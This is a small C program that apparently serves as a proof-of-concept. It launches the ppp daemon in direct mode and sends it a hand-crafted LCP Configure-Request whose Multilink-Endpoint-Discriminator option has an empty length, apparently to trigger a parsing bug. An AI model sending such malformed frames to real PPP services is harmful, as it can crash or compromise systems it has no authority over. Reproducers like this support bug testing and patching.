#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>

int
main()
{
  signal(SIGPIPE, SIG_IGN);

  int fds[2];
  if(socketpair(AF_UNIX, SOCK_STREAM, 0, fds) < 0){
    perror("socketpair");
    exit(1);
  }

  int pid = fork();
  if(pid == 0){
    close(fds[0]);
    close(0);
    dup2(fds[1], 0);
    close(fds[1]);
    execl("/usr/sbin/ppp", "ppp", "-nat", "-direct", (void*)0);
    perror("execl");
    exit(1);
  }
  close(fds[1]);

  unsigned char buf[] = {
    0x7e,
    0xc0, 0x21, // LCP
    0x01, 0x01, // code=Configure-Request, ID=1
    0x00, 0x06, // length
    0x13, 0x02, // 0x13=Multilink-Endpoint-Discriminator, 2=length
    0x6b, 0x94, // HDLC checksum
    0x7e
  };

  for(int i = 0; i < sizeof(buf); i++){
    printf("%02x ", buf[i] & 0xff);
  }
  printf("\n");

  int wr = write(fds[0], buf, sizeof(buf));
  if(wr < 0) perror("write");

  usleep(500000);
  close(fds[0]);
}